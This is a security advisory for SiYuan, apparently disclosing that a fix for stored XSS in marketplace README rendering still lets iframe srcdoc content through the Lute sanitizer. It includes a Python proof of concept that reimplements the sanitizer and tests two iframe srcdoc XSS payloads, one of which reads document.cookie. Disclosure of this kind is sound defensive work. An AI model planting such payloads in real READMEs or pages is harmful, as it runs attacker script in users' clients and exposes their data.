Summary
The incomplete fix for SiYuan's bazaar README rendering enables the Lute HTML sanitizer but fails to block <iframe> tags, allowing stored XSS via srcdoc attributes containing embedded scripts that execute in the Electron context.
Affected Package
- Ecosystem: Go
- Package: github.com/siyuan-note/siyuan
- Affected versions: < commit b382f50e1880
- Patched versions: >= commit b382f50e1880
Details
The renderPackageREADME() function in kernel/bazaar/readme.go renders Markdown README content from bazaar (marketplace) packages into HTML. The original vulnerability allowed stored XSS through unsanitized HTML in READMEs. The fix adds luteEngine.SetSanitize(true) to enable Lute's built-in HTML sanitizer.
However, the Lute sanitizer in lute/render/sanitizer.go has a critical gap:
<iframe> is explicitly commented out of setOfElementsToSkipContent, so iframe tags pass through.- The
srcdoc attribute is checked against URL-prefix blocklists (javascript:, data:text/html), but srcdoc contains raw HTML content, not a URL. A value like <img src=x onerror=alert(1)> does not start with any blocked prefix. - The browser renders
srcdoc HTML in a nested browsing context, executing embedded scripts and event handlers.
The fix correctly blocks direct <script> tags, event handler attributes, and javascript: protocol links. However:
<iframe srcdoc="<script>alert(document.domain)</script>"> passes through because iframe is not blocked and the srcdoc value is raw HTML (not a URL scheme).<iframe srcdoc="<img src=x onerror=alert(document.cookie)>"> also passes because the event handler is inside the srcdoc string value, not a top-level tag attribute.
PoC
"""
CVE-2026-33066 - Incomplete Sanitization in SiYuan Bazaar README Rendering
Component: kernel/bazaar/readme.go :: renderPackageREADME()
Patch: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428
"""
import re
import sys
from html.parser import HTMLParser
ELEMENTS_TO_SKIP_CONTENT = {
"frame", "frameset",
# "iframe", # NOTE: iframe is commented out in the original Go code!
"noembed", "noframes", "noscript", "nostyle",
"object", "script", "style", "title",
}
EVENT_ATTRS = {
"onafterprint", "onbeforeprint", "onbeforeunload", "onerror",
"onhashchange", "onload", "onmessage", "onoffline", "ononline",
"onpagehide", "onpageshow", "onpopstate", "onresize", "onstorage",
"onunload", "onblur", "onchange", "oncontextmenu", "onfocus",
"oninput", "oninvalid", "onreset", "onsearch", "onselect",
"onsubmit", "onkeydown", "onkeypress", "onkeyup", "onclick",
"ondblclick", "onmousedown", "onmousemove", "onmouseout",
"onmouseover", "onmouseleave", "onmouseenter", "onmouseup",
"onmousewheel", "onwheel", "ondrag", "ondragend", "ondragenter",
"ondragleave", "ondragover", "ondragstart", "ondrop", "onscroll",
"oncopy", "oncut", "onpaste", "onabort", "oncanplay",
"oncanplaythrough", "oncuechange", "ondurationchange", "onemptied",
"onended", "onloadeddata", "onloadedmetadata", "onloadstart",
"onpause", "onplay", "onplaying", "onprogress", "onratechange",
"onseeked", "onseeking", "onstalled", "onsuspend", "ontimeupdate",
"onvolumechange", "onwaiting", "ontoggle", "onbegin", "onend",
"onrepeat", "http-equiv", "formaction",
}
URL_ATTRS = {"src", "srcdoc", "srcset", "href"}
BLOCKED_URL_PREFIXES = ("data:image/svg+xml", "data:text/html", "javascript")
SELF_CLOSING_TAGS = {"img", "br", "hr", "input", "meta", "link", "area",
"base", "col", "embed", "source", "track", "wbr"}
def sanitize_attr_value_for_url(key, val):
cleaned = val.lower().strip()
cleaned = ''.join(c for c in cleaned if not c.isspace() or c == ' ')
for prefix in BLOCKED_URL_PREFIXES:
if cleaned.startswith(prefix):
return False
return True
class LuteSanitizer(HTMLParser):
def __init__(self):
super().__init__(convert_charrefs=False)
self.output = []
self.skip_depth = 0
def handle_starttag(self, tag, attrs):
tag = tag.lower()
if tag in ELEMENTS_TO_SKIP_CONTENT:
self.skip_depth += 1
self.output.append(" ")
return
if self.skip_depth > 0:
return
sanitized_attrs = []
for key, val in attrs:
key = key.lower()
if val is None: val = ""
if key in EVENT_ATTRS: continue
if key in URL_ATTRS:
if not sanitize_attr_value_for_url(key, val): continue
sanitized_attrs.append((key, val))
parts = ["<" + tag]
for key, val in sanitized_attrs:
escaped_val = val.replace("&", "&").replace('"', """)
parts.append(f' {key}="{escaped_val}"')
if tag in SELF_CLOSING_TAGS: parts.append(" /")
parts.append(">")
self.output.append("".join(parts))
def handle_endtag(self, tag):
tag = tag.lower()
if tag in ELEMENTS_TO_SKIP_CONTENT:
self.skip_depth -= 1
if self.skip_depth < 0: self.skip_depth = 0
self.output.append(" ")
return
if self.skip_depth > 0: return
self.output.append(f"</{tag}>")
def handle_data(self, data):
if self.skip_depth > 0: return
self.output.append(data)
def handle_entityref(self, name):
if self.skip_depth > 0: return
self.output.append(f"&{name};")
def handle_charref(self, name):
if self.skip_depth > 0: return
self.output.append(f"&#{name};")
def handle_comment(self, data): pass
def handle_decl(self, decl): pass
def get_output(self): return "".join(self.output)
def sanitize_html(html_str):
sanitizer = LuteSanitizer()
sanitizer.feed(html_str)
return sanitizer.get_output()
def check_xss(html_output):
findings = []
srcdoc_match = re.search(r'srcdoc="([^"]*)"', html_output, re.IGNORECASE)
if srcdoc_match:
import html as html_mod
decoded = html_mod.unescape(srcdoc_match.group(1).lower())
if '<script' in decoded:
findings.append("iframe srcdoc: embedded <script> tag")
if re.search(r'on\w+\s*=', decoded):
findings.append("iframe srcdoc: event handler in nested HTML")
return findings
PAYLOADS = [
'<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>',
'<iframe srcdoc="<img src=x onerror=alert(document.cookie)>"></iframe>',
]
bypass_found = False
for payload in PAYLOADS:
fixed_output = sanitize_html(payload)
findings = check_xss(fixed_output)
if findings:
bypass_found = True
print(f"BYPASS: {payload[:80]}")
for f in findings:
print(f" - {f}")
if bypass_found:
print("\nVULNERABILITY CONFIRMED")
sys.exit(0)
else:
print("\nVULNERABILITY NOT CONFIRMED")
sys.exit(1)